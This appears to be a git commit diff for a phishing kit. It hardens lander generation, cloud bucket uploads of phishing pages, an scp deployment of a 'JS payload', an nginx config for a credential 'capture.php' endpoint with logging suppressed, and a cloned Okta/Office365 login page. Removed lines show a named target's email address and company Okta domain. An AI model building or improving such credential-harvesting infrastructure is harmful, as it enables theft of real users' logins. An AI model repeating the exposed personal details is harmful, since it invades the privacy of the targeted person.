Fix P1/P2 audit findings: shell-escape upload cmds, parameterize okta PII, harden JS parsing, restrict PHP to capture.php, tojson redirect_url
This commit is contained in:
@@ -1,5 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import re
|
import re
|
||||||
|
import shlex
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
from jinja2 import Environment, FileSystemLoader
|
from jinja2 import Environment, FileSystemLoader
|
||||||
@@ -63,15 +64,19 @@ def post_deploy_generate_lander(config: dict) -> None:
|
|||||||
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
||||||
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
qbucket = shlex.quote(bucket)
|
||||||
|
qhtml = shlex.quote(str(html_file))
|
||||||
|
qjs = shlex.quote(str(js_file))
|
||||||
|
|
||||||
if provider == 'gcs':
|
if provider == 'gcs':
|
||||||
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
||||||
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
|
upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
|
||||||
elif provider == 's3':
|
elif provider == 's3':
|
||||||
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
||||||
upload_cmd = f"aws s3 cp {html_file} s3://{bucket}/index.html --acl public-read"
|
upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
|
||||||
elif provider == 'azure':
|
elif provider == 'azure':
|
||||||
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
||||||
upload_cmd = f"az storage blob upload -f {html_file} -c '$web' -n index.html --account-name {bucket}"
|
upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
|
||||||
else:
|
else:
|
||||||
public_url = f"<unknown provider: {provider}>"
|
public_url = f"<unknown provider: {provider}>"
|
||||||
upload_cmd = "<unknown provider>"
|
upload_cmd = "<unknown provider>"
|
||||||
@@ -82,7 +87,7 @@ def post_deploy_generate_lander(config: dict) -> None:
|
|||||||
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
||||||
|
|
||||||
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
||||||
webserver_scp = f"scp {js_file} user@webserver:/var/www/phishing/static/jq.min.js"
|
webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
|
||||||
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
||||||
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
||||||
|
|
||||||
|
|||||||
@@ -2,10 +2,14 @@
|
|||||||
var u = new URLSearchParams(window.location.search);
|
var u = new URLSearchParams(window.location.search);
|
||||||
var src = u.get('u') || '';
|
var src = u.get('u') || '';
|
||||||
var dest = {{ redirect_url | tojson }};
|
var dest = {{ redirect_url | tojson }};
|
||||||
if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) {
|
try {
|
||||||
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search);
|
if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
|
||||||
var rid = params.get('rid') || params.get('RId');
|
var params = new URLSearchParams(new URL(src).search);
|
||||||
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
var rid = params.get('rid') || params.get('RId');
|
||||||
}
|
if (rid && rid.length <= 128) {
|
||||||
|
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (e) {}
|
||||||
window.location.replace(dest);
|
window.location.replace(dest);
|
||||||
})();
|
})();
|
||||||
|
|||||||
@@ -37,19 +37,15 @@ server {
|
|||||||
access_log off;
|
access_log off;
|
||||||
error_log /dev/null crit;
|
error_log /dev/null crit;
|
||||||
|
|
||||||
# PHP processing
|
# Credential capture — only POST to this exact path
|
||||||
location ~ \.php$ {
|
|
||||||
include snippets/fastcgi-php.conf;
|
|
||||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
|
||||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Credential capture endpoint
|
|
||||||
location = /capture.php {
|
location = /capture.php {
|
||||||
limit_except POST { deny all; }
|
limit_except POST { deny all; }
|
||||||
include snippets/fastcgi-php.conf;
|
include snippets/fastcgi-php.conf;
|
||||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Deny all other PHP execution
|
||||||
|
location ~ \.php$ { deny all; }
|
||||||
|
|
||||||
# Template routing
|
# Template routing
|
||||||
location /templates/ {
|
location /templates/ {
|
||||||
|
|||||||
@@ -99,7 +99,7 @@
|
|||||||
|
|
||||||
<!-- hidden form for reposting fromURI for X509 auth -->
|
<!-- hidden form for reposting fromURI for X509 auth -->
|
||||||
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
||||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/exk1ufbfxuFLJp6y3697/sso/wsfed/passive?username=Brian.Caldwell%40Zimperium.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
<div class="content">
|
<div class="content">
|
||||||
@@ -199,11 +199,11 @@
|
|||||||
|
|
||||||
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||||
(function(){
|
(function(){
|
||||||
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
|
var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
|
||||||
var suppliedRedirectUri = '';
|
var suppliedRedirectUri = '';
|
||||||
var repost = false;
|
var repost = false;
|
||||||
var stateToken = '';
|
var stateToken = '';
|
||||||
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
|
var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
|
||||||
var username = '';
|
var username = '';
|
||||||
var rememberMe = true;
|
var rememberMe = true;
|
||||||
var smsRecovery = false;
|
var smsRecovery = false;
|
||||||
|
|||||||
@@ -218,7 +218,7 @@
|
|||||||
.then(response => {
|
.then(response => {
|
||||||
// Redirect after a delay to simulate processing
|
// Redirect after a delay to simulate processing
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
|
||||||
}, 2000);
|
}, 2000);
|
||||||
})
|
})
|
||||||
.catch(error => {
|
.catch(error => {
|
||||||
|
|||||||
Reference in New Issue
Block a user